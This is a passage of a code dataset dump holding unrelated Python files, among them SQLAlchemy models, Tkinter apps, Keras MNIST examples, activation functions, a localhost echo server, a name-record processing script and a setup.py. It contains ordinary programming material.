self.session.query(self._model).get(id)\n\n\nBase = declarative_base()\n\n\nclass BaseModel(Base, JsonSerializer):\n \"\"\"Abstract base model, contiains common field and methods for all models\n \"\"\"\n __abstract__ = True\n\n def __init__(self, *args, **kwargs):\n self.session = get_session()\n for name, value in kwargs.items():\n setattr(self, name, value)\n\n def close_session(self):\n if self.session:\n self.session.close_all()\n\n id = Column(Integer, primary_key=True)\n create_time = Column(TIMESTAMP, default=datetime.utcnow)\n\n\n @declared_attr\n def objects(cls):\n return BaseManager(cls)\n\n @declared_attr\n def __tablename__(cls):\n return cls.__name__.lower()\n\n\n\n @classmethod\n def raw_sql(cls, sql, **kwargs):\n if not hasattr(cls, 'session'):\n cls.session = get_session()\n return cls.session.execute(sql, kwargs)\n\n def update(self):\n try:\n if not hasattr(self, 'session'):\n self.session = get_session()\n self.session.commit()\n except Exception as error:\n self.session.rollback()\n raise error\n\n def add(self):\n try:\n\n if not hasattr(self, 'session'):\n self.session = get_session()\n\n self.session.add(self)\n self.session.commit()\n except Exception as error:\n self.session.rollback()\n raise error\n\n def delete(self):\n try:\n if not hasattr(self, 'session'):\n self.session = get_session()\n\n self.session.delete(self)\n self.session.commit()\n except Exception as error:\n self.session.rollback()\n raise error\n\n def __repr__(self):\n return '<{0}>: {1}'.format(self.__tablename__, str(self.to_serializable_dict()))\n","sub_path":"common/Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":3979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"53869672","text":"import datetime\nimport os\nimport sqlite3\nimport tkinter\nimport xml.etree.ElementTree\nimport xml.parsers.expat\nimport xml.sax.saxutils\nfrom tkinter import messagebox, ttk\nfrom tkinter.filedialog import askopenfilename, asksaveasfilename\n\n\nclass AbrirWindow(tkinter.Toplevel):\n\n def __init__(self, parent, name=None):\n super().__init__(parent)\n self.title(\"Localizar Paciente\")\n self.parent = parent\n self.accepted = False\n self.nameVar = tkinter.StringVar()\n if name is not None:\n self.nameVar.set(name)\n\n frame = tkinter.Frame(self)\n nameLabel = tkinter.Label(frame, text=\"Nome:\", underline=0)\n nameEntry = tkinter.Entry(frame, textvariable=self.nameVar)\n nameEntry.focus_set()\n okButton = tkinter.Button(frame, text=\"Localizar\", command=self.ok)\n cancelButton = tkinter.Button(\n frame, text=\"Cancelar\", command=self.close)\n nameLabel.grid(row=0, column=0, sticky=tkinter.W, pady=3, padx=3)\n nameEntry.grid(row=0, column=1, columnspan=3,\n sticky=tkinter.EW, pady=3, padx=3)\n okButton.grid(row=2, column=2, sticky=tkinter.EW, pady=3, padx=3)\n cancelButton.grid(row=2, column=3, sticky=tkinter.EW, pady=3, padx=3)\n frame.grid(row=0, column=0, sticky=tkinter.NSEW)\n frame.columnconfigure(1, weight=1)\n window = self.winfo_toplevel()\n window.columnconfigure(0, weight=1)\n\n self.bind(\"<Return>\", self.ok)\n self.bind(\"<Escape>\", self.close)\n\n self.protocol(\"WM_DELETE_WINDOW\", self.close)\n self.grab_set()\n self.wait_window(self)\n\n def ok(self, event=None):\n self.name = self.nameVar.get()\n self.accepted = True\n self.close()\n\n def close(self, event=None):\n self.parent.focus_set()\n self.destroy()\n","sub_path":"abrir_window.py","file_name":"abrir_window.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"260978994","text":"#!/usr/bin/env python\n\"\"\"\n Artificial Intelligence for Humans\n Volume 3: Deep Learning and Neural Networks\n Python Version\n http://www.aifh.org\n http://www.jeffheaton.com\n Code repository:\n https://github.com/jeffheaton/aifh\n Copyright 2015 by Jeff Heaton\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n For more information on Heaton Research copyrights, licenses\n and trademarks visit:\n http://www.heatonresearch.com/copyright\n\n Test loss: 0.029922397572506452\n Test accuracy: 0.9912\n\"\"\"\n# Based on provided Keras example\nfrom __future__ import print_function\nimport keras\nfrom keras.datasets import mnist\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras import backend as K\n\nbatch_size = 128\nnum_classes = 10\nepochs = 12\n\n# input image dimensions\nimg_rows, img_cols = 28, 28\n\n# the data, shuffled and split between train and test sets\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\n\nif K.image_data_format() == 'channels_first':\n x_train = x_train.reshape(x_train.shape[0], 1, img_rows, img_cols)\n x_test = x_test.reshape(x_test.shape[0], 1, img_rows, img_cols)\n input_shape = (1, img_rows, img_cols)\nelse:\n x_train = x_train.reshape(x_train.shape[0], img_rows, img_cols, 1)\n x_test = x_test.reshape(x_test.shape[0], img_rows, img_cols, 1)\n input_shape = (img_rows, img_cols, 1)\n\nx_train = x_train.astype('float32')\nx_test = x_test.astype('float32')\nx_train /= 255\nx_test /= 255\nprint('x_train shape:', x_train.shape)\nprint(\"Training samples: {}\".format(x_train.shape[0]))\nprint(\"Test samples: {}\".format(x_test.shape[0]))\n\n# convert class vectors to binary class matrices\ny_train = keras.utils.to_categorical(y_train, num_classes)\ny_test = keras.utils.to_categorical(y_test, num_classes)\n\nmodel = Sequential()\nmodel.add(Conv2D(32, kernel_size=(3, 3),\n activation='relu',\n input_shape=input_shape))\nmodel.add(Conv2D(64, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Dropout(0.25))\nmodel.add(Flatten())\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(num_classes, activation='softmax'))\n\nmodel.compile(loss=keras.losses.categorical_crossentropy,\n optimizer=keras.optimizers.Adadelta(),\n metrics=['accuracy'])\n\nmodel.fit(x_train, y_train,\n batch_size=batch_size,\n epochs=epochs,\n verbose=1,\n validation_data=(x_test, y_test))\nscore = model.evaluate(x_test, y_test, verbose=0)\nprint('Test loss: {}'.format(score[0]))\nprint('Test accuracy: {}'.format(score[1]))","sub_path":"vol3/vol3-python-examples/examples/example_mnist_conv.py","file_name":"example_mnist_conv.py","file_ext":"py","file_size_in_byte":3192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"122786802","text":"from tkinter import *\nfrom random import choice\n\n\"\"\"\nhttps://youtu.be/rQ9XMB-0hu0?t=14m33s\n\"\"\"\n\ndef MN_darabszam(jatekszint=0):\n global mezo_darab\n if jatekszint < 1:\n mezo_darab = choice(range(1, 5))\n elif jatekszint == 1:\n mezo_darab = choice(range(4, 11))\n elif 2 <= jatekszint:\n mezo_darab = choice(range(10, 41))\n else:\n print(\"Nothing happens.\")\n return mezo_darab\n\nwindow_size_factor = 10\nwindow_width_ratio = 30\nwindow_height_ratio = 50\nwindow_actual_width = window_width_ratio * window_size_factor\nwindow_actual_height = window_height_ratio * window_size_factor\ncalculated_target = choice(range(1, 10000))\ndarab = 0\n\ndarabok = MN_darabszam(5)\n\n\nclass PyckApp():\n \n def __init__(self):\n self.root = Tk()\n self.root.title(\"Pyx\")\n self.root.geometry(\"{}x{}\".format(window_actual_width, window_actual_height))\n self.root.resizable(False, False)\n \n frame1 = Frame(self.root, background=\"green\")\n frame2 = Frame(self.root, background=\"blue\")\n \n frame1.grid(row = 0, column = 0)\n frame1.place(relx=0.5, rely=0.5, anchor=CENTER)\n \n frame2.grid(row = 1, column = 0)\n frame2.place(relx=0.7, rely=0.5, anchor=CENTER)\n \n self.target = Label(text=\"The target is: \"+str(calculated_target))\n self.target.place(relx=0.5, rely=0.1, anchor=CENTER)\n \n self.darab = darabok\n \n self.answer = 0\n if calculated_target % self.darab != 0:\n self.answer = calculated_target % self.darab\n else:\n self.answer = self.darab\n \n self.gombsorszam = Label(text=\"The number of buttons is: \"+str(self.darab)+\".\")\n self.gombsorszam.place(relx=0.5, rely=0.15, anchor=CENTER)\n \n self.showing = Button(text=\"Show me the answer.\", command=lambda: self.answering())\n self.showing.place(relx=0.5, rely=0.8, anchor=CENTER)\n \n self.message = Label(text=\"\")\n self.message.place(relx=0.5, rely=0.9, anchor=CENTER)\n \n self.solution = Label(text=\"\")\n self.solution.place(relx=0.5, rely=0.2, anchor=CENTER)\n\n \n row = 0\n column = 0\n sorszam = 1\n \n if self.darab <= 2**2:\n margo = 2\n elif 2**2 < self.darab <= 3**2:\n margo = 3\n elif 3**2 < self.darab <= 4**2:\n margo = 4\n elif 4**2 < self.darab <= 5**2:\n margo = 5\n elif 5**2 < self.darab <= 6**2:\n margo = 6\n elif 6**2 < self.darab <= 7**2:\n margo = 7\n elif 7**2 < self.darab <= 8**2:\n margo = 8 \n elif 8**2 < self.darab <= 9**2:\n margo = 9\n elif 9**2 < self.darab <= 10**2:\n margo = 10\n elif 10**2 < self.darab <= 11**2:\n margo = 11\n else:\n margo = 12\n \n for i in range(1, self.darab+1):\n print(\"Mezo: \"+str(i) + \". Sorszama: \" + str(sorszam) + \".\")\n if i == self.darab:\n button = Button(frame1, text=str(i), command=lambda enter=0: self.checking(enter))\n else:\n button = Button(frame1, text=str(i), command=lambda i=i: self.checking(i))\n\n button.config(height=1, width=2)\n \n if sorszam == 1:\n column = 1\n row = 1\n sorszam += 1\n elif 1 < sorszam <= margo:\n column = sorszam\n row = 1\n sorszam += 1\n elif sorszam % margo == 0:\n column = margo\n row = sorszam // margo\n sorszam += 1\n elif margo < sorszam:\n column = (sorszam % margo) \n row = (sorszam // margo) + 1\n sorszam += 1\n \n button.grid(row=row, column=column)\n self.root.mainloop()\n \n \n def checking(self, enter):\n if calculated_target % self.darab == enter:\n #print(\"Congrats, Button \"+str(enter)+\" was the answer.\")\n self.message[\"text\"] = \"Correct answer!\"\n else:\n #print(\"Sorry, Button \"+str(enter)+\" was not the answer.\")\n self.message[\"text\"] = \"Sorry, the answer was incorrect.\"\n \n \n def answering(self):\n #print(\"Tryna change the answer.\")\n self.solution[\"text\"] = \"The answer is \"+str(self.answer)+\".\"\n \n \n\nPyck = PyckApp()","sub_path":"PYX.v.0.1.3.py","file_name":"PYX.v.0.1.3.py","file_ext":"py","file_size_in_byte":4522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"388370247","text":"from __future__ import division, absolute_import\n\nfrom blocks import backend as K\nfrom blocks import autoconfig\nfrom blocks.roles import add_role, PARAMETER\nfrom .base import NNOps, NNConfig\n\n\ndef antirectify(x):\n \"\"\"\n This is the combination of a sample-wise L2 normalization with the\n concatenation of:\n - the positive part of the input\n - the negative part of the input\n The result is a tensor of samples that are twice as large as\n the input samples.\n It can be used in place of a ReLU.\n - Input shape: 2D tensor of shape (samples, n)\n - Output shape: 2D tensor of shape (samples, 2*n)\n\n Notes\n -----\n When applying ReLU, assuming that the distribution of the previous\n output is approximately centered around 0., you are discarding half of\n your input. This is inefficient.\n Antirectifier allows to return all-positive outputs like ReLU, without\n discarding any data.\n Tests on MNIST show that Antirectifier allows to train networks with\n twice less parameters yet with comparable classification accuracy\n as an equivalent ReLU-based network.\n\n \"\"\"\n if x.ndim != 2:\n raise Exception('This Ops only support 2D input.')\n input_shape = K.shape(x)\n x -= K.mean(x, axis=1, keepdims=True)\n # l2 normalization\n x /= K.sqrt(K.sum(K.square(x), axis=1, keepdims=True))\n x = K.concatenate([K.relu(x, 0), K.relu(-x, 0)], axis=1)\n if isinstance(input_shape, (tuple, list)):\n K.add_shape(x, (input_shape[0], input_shape[1] * 2))\n return x\n\n\ndef randrectify(x, lower=0.3, upper=0.8, shared_axes='auto', seed=None):\n \"\"\" This function is adpated from Lasagne\n Original work Copyright (c) 2014-2015 lasagne contributors\n All rights reserved.\n LICENSE: https://github.com/Lasagne/Lasagne/blob/master/LICENSE\n\n Applies a randomized leaky rectify activation to x.\n\n The randomized leaky rectifier was first proposed and used in the Kaggle\n NDSB Competition, and later evaluated in [1]_. Compared to the standard\n leaky rectifier :func:`leaky_rectify`, it has a randomly sampled slope\n for negative input during training, and a fixed slope during evaluation.\n\n Equation for the randomized rectifier linear unit during training:\n :math:`\\\\varphi(x) = \\\\max((\\\\sim U(lower, upper)) \\\\cdot x, x)`\n\n During evaluation, the factor is fixed to the arithmetic mean of `lower`\n and `upper`.\n\n Parameters\n ----------\n lower : Theano shared variable, expression, or constant\n The lower bound for the randomly chosen slopes.\n\n upper : Theano shared variable, expression, or constant\n The upper bound for the randomly chosen slopes.\n\n shared_axes : 'auto', 'all', int or tuple of int\n The axes along which the random slopes of the rectifier units are\n going to be shared. If ``'auto'`` (the default), share over all axes\n except for the second - this will share the random slope over the\n minibatch dimension for dense layers, and additionally over all\n spatial dimensions for convolutional layers. If ``'all'``, share over\n all axes, thus using a single random slope.\n\n References\n ----------\n .. [1] Bing Xu, Naiyan Wang et al. (2015):\n Empirical Evaluation of Rectified Activations in Convolutional Network,\n http://arxiv.org/abs/1505.00853\n \"\"\"\n input_shape = K.shape(x)\n # ====== check lower and upper ====== #\n if K.is_shared_variable(lower):\n add_role(lower, PARAMETER)\n lower.name = 'lower'\n if K.is_shared_variable(upper):\n add_role(upper, PARAMETER)\n upper.name = 'upper'\n if not K.is_variable(lower > upper) and lower > upper:\n raise ValueError(\"Upper bound for Randomized Rectifier needs \"\n \"to be higher than lower bound.\")\n # ====== check shared_axes ====== #\n if shared_axes == 'auto':\n shared_axes = (0,) + tuple(range(2, len(input_shape)))\n elif shared_axes == 'all':\n shared_axes = tuple(range(len(input_shape)))\n elif isinstance(shared_axes, int):\n shared_axes = (shared_axes,)\n else:\n shared_axes = shared_axes\n # ====== main logic ====== #\n if not K.is_training(x) or upper == lower:\n x = K.relu(x, (upper + lower) / 2.0)\n else: # Training mode\n shape = list(input_shape)\n if any(s is None for s in shape):\n shape = list(x.shape)\n for ax in shared_axes:\n shape[ax] = 1\n\n rnd = K.random_uniform(tuple(shape),\n low=lower,\n high=upper,\n dtype=autoconfig.floatX,\n seed=seed)\n rnd = K.addbroadcast(rnd, *shared_axes)\n x = K.relu(x, rnd)\n if isinstance(input_shape, (tuple, list)):\n K.add_shape(x, input_shape)\n return x\n\n\ndef rectify(x, alpha=0.):\n \"\"\" You can use LeakyRelu by setting alpha != 0.\"\"\"\n return K.relu(x, alpha)\n\n\ndef exp_linear(x, alpha=1.0):\n \"\"\"Exponential Linear Unit:\n `f(x) = alpha * (exp(x) - 1.) for x < 0`,\n `f(x) = x for x >= 0`.\n \"\"\"\n pos = K.relu(x)\n neg = (x - K.abs(x)) * 0.5\n input_shape = K.shape(x)\n x = pos + alpha * (K.exp(neg) - 1.)\n if isinstance(input_shape, (tuple, list)):\n K.add_shape(x, input_shape)\n return x\n\n\ndef softmax(x):\n return K.softmax(x)\n\n\ndef softplus(x):\n return K.softplus(x)\n\n\ndef softsign(x):\n return K.softsign(x)\n\n\ndef linear(x):\n return K.linear(x)\n\n\ndef sigmoid(x):\n return K.sigmoid(x)\n\n\ndef hard_sigmoid(x):\n return K.hard_sigmoid(x)\n\n\ndef tanh(x):\n return K.tanh(x)\n","sub_path":"blocks/nnet/activations.py","file_name":"activations.py","file_ext":"py","file_size_in_byte":5664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"523262411","text":"import matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom plotter_util import *\n\nmpl.rcParams.update(nice_fonts)\n\n#plt.xkcd()\nfig, (ax, ax2) = plt.subplots(1, 2, figsize=(6.3, 4), sharex=False, sharey=True)\nfig.suptitle(\"Produced electricity in Germany after fuels: Wind and Solar only\")\nexcluded_sources = ['Hydro Power', 'Biomass', 'Uranium', 'Brown Coal', 'Hard Coal', 'Gas', 'Others', 'Pumped Storage',\n 'Seasonal Storage', 'Oil']\n\n\nurl = get_url(2018, 4, False)\ntime, data, legend, colors = get_plot_data(url, excluded_sources=excluded_sources)\n_, usage = get_usage(url)\n\nax.plot(time, usage, label='Energy usage', color='r')\nax.stackplot(time, data, labels=legend, colors=colors)\nax.set_xlim(time[0], time[-1])\nax.set_ylim(0, 80)\nax.set_facecolor('w')\nax.set_ylabel(\"Produced electricity in GW\")\nfor tick in ax.get_xticklabels():\n tick.set_rotation(45)\nax.legend(loc='upper center', ncol=4, bbox_to_anchor=(0.5, -0.25))\n\nurl = get_url(2018, 34, False)\ntime, data, legend, colors = get_plot_data(url, excluded_sources=excluded_sources)\n_, usage = get_usage(url)\n\nax2.plot(time, usage, label='usage', color='r')\nax2.stackplot(time, data, labels=legend, colors=colors)\nax2.set_xlim(time[0], time[-1])\nax2.set_ylim(0, 80)\nax2.set_facecolor('w')\nax2.yaxis.set_label_position(\"right\")\nax2.set_ylabel(\"Produced electricity in GW\")\n\n#plt.figlegend(loc='upper center', ncol=4, bbox_to_anchor=(0.5, -0.25))\nfor tick in ax2.get_xticklabels():\n tick.set_rotation(45)\n\nplt.savefig(\"test.pdf\", format='pdf', bbox_inches='tight')\n\nprint(\"Test\")\n\n","sub_path":"1_week_wind_solar.py","file_name":"1_week_wind_solar.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"194900002","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Author:fyf\nfrom socket import *\n\n# 服务端必须满足三点\n#1.绑定一个固定的ip和端口\n\n#2.一直对外提供服务,稳定云心\n#3.支持并发\nserver = socket(AF_INET, SOCK_STREAM)\n\nserver.bind(('127.0.0.1', 9001))\n\nserver.listen(5)\n\nconn, client_add = server.accept()\nwhile True:\n try:\n data=conn.recv(1024)\n if len(data) == 0:\n break\n print(data)\n conn.send(data.upper())\n except ConnectionResetError:\n break\nconn.close()\n\n","sub_path":"python视屏学习/网络编程/循环服务端.py","file_name":"循环服务端.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"465523533","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 22 17:30:35 2014\n\n@author: prateek\n\"\"\"\ncount = 0\na = 'abcdefghijklnmopqrstuvwxyz'\nfor i in a:\n count = count + 1\n for j in a[count:]:\n print(i + j)\n","sub_path":"exercices/080/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"421697356","text":"# Rose Tan\n# Franklin Qian\n# Date created: 2/12/2018\n# Last edited: 2/13/2018\n#\n# Description: \tThis file takes in the raw infutor text file, \n# \t\t\t\tcleans the data, and\n# \t\t\t\tconverts it into a csv \n#\n#\n# TO DO: \n#\n#\n# \t\t\n\nimport os\nimport pandas as pd\nimport time\nimport csv\nfrom itertools import product\nfrom string import ascii_uppercase\nimport string\nimport glob\nfrom joblib import Parallel, delayed\n\n#################### SET PARAMETERS #######################\n\n# set directory\nworkdir = \"/ifs/gsb/tmcquade/BDMProject/SiliconValleyLabor/Data/infutor_1perc/data/\"\n#workdir = \"/media/zqian/Seagate Backup Plus Drive/infutor_1perc/data/\"\nos.chdir(workdir)\n\n# input directory\ninputdir = \"raw_chunked/\"\n\n# outfile name or path\noutputdir = 'name_csv/'\n\n# chunk txt files\nnum_rows = 500000\n\n# number of cores to use for multi-processing\nnum_cores = 32\n\n######################################@#################### \n\ndef processInput(filename, inputdir, outputdir, num_rows):\n\tif filename.endswith(\".txt\"):\n\n\t\tprint(\"Processing Name file: \" + filename)\n\n\t\tinfile = inputdir + filename\n\n\t\tfor word in keywords: \n\n\t\t\tmydir = outputdir + word + \"/\"\n\t\t\toutfile = mydir + filename.replace(\".txt\",\"\").replace(\"CRD3_\",\"\") + '_' + word + '_name'\n\n\t\t\treader = pd.read_csv(infile, \n\t\t\t\t\t\t\t delimiter = '\\t', # tab delimiter\n\t\t\t\t\t\t\t header=None, # no header in data\n\t\t\t\t\t\t\t #dtype = column_types, # take specific types\n\t\t\t\t\t\t\t quoting=csv.QUOTE_NONE,\n\t\t\t\t\t\t\t chunksize = num_rows, # chunk txt file\n\t\t\t\t\t\t\t usecols = [7])\n\n\t\t\t# indices for rows to read in\n\t\t\trowlist = []\n\n\t\t\tfor df in reader:\n\t\t\t df = df.loc[~df[7].str.startswith(word, na=False)]\n\t\t\t rowlist += list(df.index.values)\n\n\t\t\t# read in csv, only lines with useful content\n\t\t\ttry: \n\t\t\t\tdf = pd.read_csv(infile, \n\t\t\t\t delimiter = '\\t', # tab delimiter\n\t\t\t\t header=None, # no header in data\n\t\t\t\t #dtype = column_types, # take specific types\n\t\t\t\t quoting=csv.QUOTE_NONE,\n\t\t\t\t skiprows=rowlist,\n\t\t\t\t usecols = [*range(0, 12), 17, 18,\n\t\t\t\t *range(22,86,7),\n\t\t\t\t *range(23,87,7),\t \n\t\t\t\t *range(24,88,7),\n\t\t\t\t *range(25,89,7),\n\t\t\t\t *range(26,90,7),\n\t\t\t\t *range(27,91,7),\n\t\t\t\t *range(28,92,7)]) \n\n\t\t\t\t#print('Memory usage (in bytes): ' + str(df.memory_usage(index=True,deep=True).sum()))\n\n\t\t\t\t# rename columns \n\t\t\t\tdf.rename(columns={df.columns[0]: \"pid\",\n\t\t\t\t df.columns[1]: \"id_primary\",\n\t\t\t\t df.columns[2]: \"id_primary_seq\",\n\t\t\t\t df.columns[3]: \"id_second\",\n\t\t\t\t df.columns[4]: \"name_prefix\",\n\t\t\t\t df.columns[5]: \"name_first\",\n\t\t\t\t df.columns[6]: \"name_middle\",\n\t\t\t\t df.columns[7]: \"name_last\",\n\t\t\t\t df.columns[8]: \"name_suffix\",\n\t\t\t\t df.columns[9]: \"gender\",\n\t\t\t\t df.columns[10]: \"dob\",\n\t\t\t\t df.columns[11]: \"deceased\",\n\t\t\t\t df.columns[12]: \"date_orig\",\n\t\t\t\t df.columns[13]: \"date_last\"\n\t\t\t\t }, \n\t\t\t\t inplace = True)\n\n\t\t\t\t# rename columns\n\t\t\t\tfor i in range(1,11):\n\t\t\t\t col = 14+(i-1)*7\n\t\t\t\t df.rename(columns={df.columns[col]: 'alias'+str(i),\n\t\t\t\t df.columns[col+1]: 'alias_prefix'+str(i),\n\t\t\t\t df.columns[col+2]: 'alias_first'+str(i),\n\t\t\t\t df.columns[col+3]: 'alias_middle'+str(i),\n\t\t\t\t df.columns[col+4]: 'alias_last'+str(i),\n\t\t\t\t df.columns[col+5]: 'alias_suffix'+str(i),\n\t\t\t\t df.columns[col+6]: 'alias_gender'+str(i),\n\t\t\t\t }, \n\t\t\t\t inplace = True)\n\n\t\t\t\t# reshape wide to long\n\t\t\t\tdf = pd.wide_to_long(df, [\"alias\", \"alias_prefix\", \"alias_first\",\n\t\t\t\t\t\t\t\t\t\t \"alias_middle\", \"alias_last\", \"alias_suffix\", \n\t\t\t\t\t\t\t\t\t\t \"alias_gender\"], i=\"pid\", j=\"alias_num\")\n\n\t\t\t\t# drop duplicates\n\t\t\t\tdf.reset_index(inplace=True) # duplicates doesn't count indices\n\t\t\t\tdf = df.drop_duplicates(subset=df.columns.difference(['alias_num']))\n\n\t\t\t\t#print('Memory usage after reshape (in bytes): ' \n\t\t\t\t#\t+ str(df.memory_usage(index=True,deep=True).sum()))\n\t\t\t\t\n\t\t\t\t#print(df.shape)\n\n\t\t\t\t# make csv\n\t\t\t\tif not os.path.exists(mydir):\n\t\t\t\t\tos.makedirs(mydir)\n\t\t\t\toutpath = outfile + '.csv'\n\t\t\t\tdf.to_csv(outpath, index=True)\n\t\t\t\t#print(outpath + ' file completed')\n\n\t\t\texcept:\n\t\t\t\tcontinue\n\ndef writeOutput(word, workdir, outputdir):\n\tmydir = workdir + outputdir + word + \"/\"\n\tif os.path.exists(mydir):\n\t\tos.chdir(mydir)\n\t\ttry:\n\t\t\tos.remove(word + \"_name.csv\") # remove main file\n\t\texcept OSError:\n\t\t\tpass\n\t\tinteresting_files = glob.glob(\"*.csv\") \n\t\tdf_list = pd.concat((pd.read_csv(f, header = 0) for f in interesting_files))\n\t\tdf_list.to_csv(word + \"_name.csv\", index = False)\n\t\tfor f in interesting_files:\n\t\t\tos.remove(f)\n\n# main\nif __name__ == \"__main__\":\n\n\t# timer\n\tstart = time.time()\n\n\tkeywords = [''.join(i) for i in product(ascii_uppercase, repeat = 2)]\n\t#keywords = ['AA','AB']\n\n\twith Parallel(n_jobs=num_cores) as parallel:\n\t\tparallel(delayed(processInput)(filename, inputdir, outputdir, num_rows) for filename in os.listdir(inputdir))\n\t\tparallel(delayed(writeOutput)(word, workdir, outputdir) for word in keywords)\n\n\t# time\n\tend = time.time()\n\tprint(\"Time elapsed (in seconds): \" + str(end - start))\n","sub_path":"Scripts/mysql_infutor/02_read_name_1perc.py","file_name":"02_read_name_1perc.py","file_ext":"py","file_size_in_byte":5636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"565233985","text":"import os\nimport sys\nfrom setuptools import setup, find_packages\n\nversion = '0.3.3'\n\n\ndef get_package_manifest(filename):\n packages = []\n\n with open(filename) as package_file:\n for line in package_file.readlines():\n line = line.strip()\n\n if not line:\n continue\n\n if line.startswith('#'):\n # comment\n continue\n\n if line.startswith('-e '):\n # not a valid package\n continue\n\n packages.append(line)\n\n return packages\n\n\ndef get_install_requires():\n \"\"\"\n :returns: A list of packages required for installation.\n \"\"\"\n return get_package_manifest('requirements.txt')\n\n\ndef get_tests_requires():\n \"\"\"\n :returns: A list of packages required for running the tests.\n \"\"\"\n packages = get_package_manifest('requirements_dev.txt')\n\n try:\n from unittest import mock\n except ImportError:\n packages.append('mock')\n\n if sys.version_info[:2] < (2, 7):\n packages.append('unittest2')\n\n return packages\n\n\ndef read(f):\n with open(os.path.join(os.path.dirname(__file__), f)) as f:\n return f.read().strip()\n\n\nsetup(\n name='sockjs-gevent',\n version=version,\n description=('gevent base sockjs server'),\n long_description='\\n\\n'.join((read('README.md'), read('CHANGES.txt'))),\n classifiers=[\n \"Intended Audience :: Developers\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 2.6\",\n \"Programming Language :: Python :: 2.7\",\n \"Programming Language :: Python :: Implementation :: CPython\",\n \"Topic :: Internet :: WWW/HTTP\",\n 'Topic :: Internet :: WWW/HTTP :: WSGI'\n ],\n author='Nick Joyce',\n author_email='nick.joyce@realkinetic.com',\n url='https://github.com/njoyce/sockjs-gevent',\n license='MIT',\n install_requires=get_install_requires(),\n tests_require=get_tests_requires(),\n setup_requires=['nose>=1.0'],\n test_suite='nose.collector',\n include_package_data = True,\n packages=find_packages(exclude=[\"examples\", \"tests\"]),\n zip_safe = False,\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"15734070","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow_learner.TensorflowLearner as tfl\nimport validation.ModelEvaluator as eval\nimport tensorflow_learner.Models as models\nfrom sklearn.model_selection import train_test_split\nimport scikit_learner as skl\nimport scipy.ndimage\nfrom scipy.ndimage.interpolation import shift\n\ndef load_data_au(filename):\n train_file = np.load(filename)\n images = train_file['digits'] # image\n labels = train_file['labels']\n return images, labels\n\ndef load_data_mnist(filename):\n train_file = np.load(filename)\n images = train_file['images'] # image\n labels = train_file['labels']\n return images, labels\n\ndef randomizeImage(image):\n as_image = image.reshape(28,-1)\n rotation = np.random.uniform(-15, 15)\n shift_x = np.random.uniform(-5, 5)\n shift_y = np.random.uniform(-5, 5)\n rotated_images = scipy.ndimage.rotate(as_image, rotation, reshape=False)\n randomized_image = shift(rotated_images, [shift_x, shift_y])\n randomized_image_flattend = randomized_image.flatten()\n return randomized_image_flattend\n\ndef expandTrainingSet(images, labs):\n img_1 = np.apply_along_axis(randomizeImage, 1, images)\n img_2 = np.apply_along_axis(randomizeImage, 1, images)\n img_3 = np.apply_along_axis(randomizeImage, 1, images)\n img_4 = np.apply_along_axis(randomizeImage, 1, images)\n\n expanded_images = np.concatenate((images, img_1, img_2, img_3, img_4))\n expanded_labs = np.concatenate((labs, labs, labs, labs, labs))\n return expanded_images, expanded_labs\n\n\n\ndef runNNExperiment():\n plt.interactive(True)\n au_train_orig_img, au_train_orig_lab = load_data_au('data/auTrain.npz')\n au_train_img, au_valid_img, au_train_lab, au_valid_lab = train_test_split(au_train_orig_img, au_train_orig_lab, test_size=0.2, random_state=0)\n\n\n au_test_img, au_test_lab = load_data_au('data/auTest.npz')\n #au_train_expanded_img, au_train_expanded_lab = expandTrainingSet(au_train_img, au_train_lab)\n\n #model = models.DeepConvolutionalNet(hidden_layer_breadth=1000, drop_out_keep_prop=0.5, conv_channels=40)\n model = models.SimpleNeuralNet(hidden_layer_breadth=1084, drop_out_keep_prop=1, reg_rate=0)\n\n recognizer = tfl.ImageRecognizer(model)\n recognizer.train(au_train_img, au_train_lab)\n\n evaluator = eval.ModelEvaluator()\n\n predictions = recognizer.predict(au_valid_img)\n report = evaluator.create_report(predictions.astype(np.int32), au_valid_lab.astype(np.int32))\n error_rate = evaluator.get_error_rate(predictions.astype(np.int32), au_valid_lab.astype(np.int32))\n\n print(\"Error Rate: \")\n print(error_rate)\n\n print(\"Detailed classification report:\")\n print(report)\n\n print(\"Training time: {} seconds\".format(recognizer.trainingtime))\n\n\ndef runSVNExperiments():\n plt.interactive(True)\n au_train_img, 